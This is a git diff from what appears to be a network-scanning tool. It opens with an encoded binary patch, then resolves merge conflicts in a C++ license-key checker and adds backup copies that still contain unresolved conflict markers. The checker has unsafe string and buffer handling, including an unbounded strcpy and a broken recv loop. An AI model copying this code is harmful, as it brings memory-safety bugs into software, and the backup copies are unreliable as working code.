z3|<0Pz?Z=nz#7PcBR~VM->zx@0MCFc;PapiR=_fdgZG2?g4b`;v>$;VfbWB=;9KA_ zcpM18K@s$Ud%#`bU++R5;Cb*g_&WF;co>`mE8rCP0Qkc@HSHDfGPnw^fJZ?M%z!>{ z3%D6v!@Cf#fv3PU_~EUZ_5xS~f4T+ffM>urK@ofi+zD<2pT1es>c9jA@NsY)jDUMV zA9&)3racBe3oe08umLWB47eY>4`|@W??C?GyWm;yZSVy6D!2z628X~kY{>i>yb68` zeg>Wg&w($3^B@O42(F>+e+PaA9s}#33Ce)%!T<-qB9X`?4SymY7Y)y01F4fR9bA*S z+~VZfY+m+&2{+N#7AMOnvi?e7Li*iJUZzdY+8)pkEb8}QWq~Ff7 z=9iIfXPJ=rcG_Lu?Npc+p~A9$F$7`5pHlcsxbJF;-iFwBGkDx=>M<5HEw>VE(r~B& z$eooux5kP_)o@Ji^|2^admtyWP!Q3+aWdbdS7@6kI>RsT~s=I!jVQrZ|+hA z3?CKO7vp6v=)1V-7&Xpx^s1cKM9S6|+#7 zyl@6#3k4cQXBKn$>_VRPQ)7{cWTe|;YV<+xL5GmTaF5Sq&Zrb(TlU^{KQ z4dj$h6~`)~n08&Pj*e_US=wH5;?nDd(Q`GG9O{VC{m71V4Jp^3Cee%ulbW)q?3fv~ zpRcXqU~P^&>=c7>;kmSPe(>fpE7`niQC_@O7n|*T(DP*$c#hLEmmZnHeQO$pHe2GJ zkMg2bw=@cX-|}T(?#&yvqsOEp$HZ{9w0IT`LGwtIRf;43kPSQ3^cIHDII9aUg#q~@ z>g8XYqFKa8=q?@Jk@aAfhK%4iPN8WgNRh~63!u=_wPR)$Or)f1Yldc1AY_CAHYcP_ zB5n{h)t-*EreG8lnW3Qg*t+kTD4{Ss5k~EpGX#|gN-i~Ny0*nIWak=1gqCwr)-O{C zO4UjyjyW>T{DK0t?tXI0-J+-4b?!{bKxC04Elj?Q~9dfr44V0iscdP8OQU2$( z&u+YR^|hn6V^$j$XHmW(xaUka9Fx{OexefX@uUUNPWK$%kKYkc_7%KLzad|p@AX1= zqIc@aqwX2yn!#L5%Qag6uVamCVoglz|JM2aPq4Os5qt``pa=@!0yqa|!3?+`(0;&Q zu*UxdcpCf@Yxt|+Iq)4o>;21sgB+L!r$Gip!Cl}Ea4R?h{)V;uU%{*3r{Ei43ET}1 zfomx1E8zFwm*7S4HSiViIQSCS0-K-&sBT4|E~S7{Kq;UUPzopolmbctrNDnd0a~1P zFJ@_xD;IPf|L>YkdktFWY7_xX1Q$z{hDNPYa%}9x*yzZKVKa3iHCh_OZ}Yxk%S;Yi zMrvf_c*$r_?6LCmco}O6Z9KSe>=j&WCYzb+Uf=ibI%D}-p5nzudET`+w&Zpk%1Dpx z{mXDiUv8|+<=f8C*Wa5MI31o0V5`24{~os3x=s5Ojy$}fH8QqA|m34R@vorZcm1eJtZJ zP6sv2HO+=c2R{1#k9A^fh8q_5((F`YVn;MODVlRlqk7+ITj&)TN}dFr8bnBGR_&b+ ztiEM4$U`w~6sA}dCuDNFGR}giaXRKhCkhUC0=LeMwgb1vfefniw5``Ry7$+5TVWwL zkoOEa^*o*&W~cEBW+9I`J?__CZ0tMb;H)z=W7^doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); if(emitIfOK == 0) stt->doEmitionStartScanIP(); @@ -229,20 +221,10 @@ int KeyCheckerMain() return 1; } else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - + { QString errorDef = GetNSErrorDefinition(msg, "notify"); if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); return -1; } @@ -253,21 +235,11 @@ int KeyCheckerMain() return -1; } else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + { char header[64] = {0}; getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa CSSOCKET(sock); return -1; }; @@ -276,21 +248,11 @@ int KeyCheckerMain() CSSOCKET(sock); } else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + { stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + return -1; }; }; diff --git a/CheckKey_Th.cpp.BACKUP.2427.cpp b/CheckKey_Th.cpp.BACKUP.2427.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2427.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2593.cpp b/CheckKey_Th.cpp.BACKUP.2593.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2593.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); + CSSOCKET(sock); + return -1; + }; + c = send(sock, msg, strlen(msg), 0); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Send error."); + CSSOCKET(sock); + return -1; + }; + ZeroMemory(msg, sizeof(msg)); + test = recv(sock, msg, 512, 0); + + if(strstr(msg, "202 Accepted") != NULL) + { +<<<<<<< HEAD + + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); + +======= +#pragma region QTGUI_Area + stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } + else if(strstr(msg, "400 Bad Request") != NULL) + { +<<<<<<< HEAD + + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); + +======= +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(msg, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + } + else if(strstr(msg, "503 Bad Gateway") != NULL) + { + stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); + CSSOCKET(sock); + return -1; + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + char header[64] = {0}; + getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); + stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + CSSOCKET(sock); + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + CSSOCKET(sock); + } + else + { +<<<<<<< HEAD + +======= +#pragma region QTGUI_Area +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); + CSSOCKET(sock); + return -1; +<<<<<<< HEAD + +======= +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + }; +}; + +void CheckKey_Th::run() +{ + KeyCheckerMain(); +}; diff --git a/CheckKey_Th.cpp.BACKUP.2715.cpp b/CheckKey_Th.cpp.BACKUP.2715.cpp new file mode 100644 index 0000000..64dccb8 --- /dev/null +++ b/CheckKey_Th.cpp.BACKUP.2715.cpp @@ -0,0 +1,300 @@ +#pragma once +#include "CheckKey_Th.h" +#include "CheckProxy_Th.h" +#include "STh.h" +#include "externData.h" +#include "externFunctions.h" + +void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int szStartStr = strlen(startStr); + int sz = ptr2 - ptr1 - szStartStr; + strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); + }; + }; +} +void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) +{ + ZeroMemory(dest, szDest); + char *ptr1 = strstri(src, startStr); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1, endStr); + if(ptr2 != NULL) + { + int sz = ptr2 - ptr1; + strncpy(dest, ptr1, sz < szDest ? sz : szDest); + }; + }; +} +int emitIfOK = -1; +int KeyCheckerMain() +{ + int kLen = strlen(trcPersKey); + if(kLen == 0) + { + stt->doEmitionRedFoundData("[Key check] Key field is empty."); + return -1; + } + else if(kLen < 32) + { + stt->doEmitionRedFoundData("[Key check] Key length is not valid."); + return -1; + }; + char msg[1024] = {0}; + char ndbServer[64] = {0}; + char ndbScript[64] = {0}; + + sockaddr_in sockAddr; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + strcpy(msg, "GET "); + strcat(msg, "/"); + strcat(msg, trcScr); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, trcSrv); + strcat(msg, "\r\nX-Nescav3: True"); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); + else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); + int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + return -1; + }; + + test = send(sock, msg, strlen(msg), 0); + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + int ror = sizeof(msg); + + test = recv(sock, msg, sizeof(msg), 0); + char buff[512] = {0}; + while((test = recv(sock, msg, sizeof(msg), 0)) != 0) + { + strcat(msg, buff); + }; + + if(test == -1) + { + stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + CSSOCKET(sock); + + return -1; + }; + + char *t1; + char *t2; + if(strstr(msg, "http://") != NULL) + { + t1 = strstr(msg, "http://"); + if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + { + t2 = strstr((char*)(t1 + strlen("http://")), "/"); + int ln = t2 - t1 - strlen("http://"); + if(ln > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + + + if(strlen(t2) > 64) + { + stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + } + else + { + strncpy(ndbScript, t2, y); + }; + } + else + { + stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); + CSSOCKET(sock); + + return -1; + }; + } else strcpy(ndbScript, t2); + } + else + { + stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); + CSSOCKET(sock); + + return -1; + }; + + ZeroMemory(msg, sizeof(msg)); + + stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); + CSSOCKET(sock); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + strcpy(msg, "GET "); + strcat(msg, "/api/checkaccount?key="); + strncat(msg, trcPersKey, 32); + strcat(msg, " HTTP/1.0\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nConnection: close"); + strcat(msg, "\r\n\r\n"); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + if(c == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[Key check] -Connection timeout."); 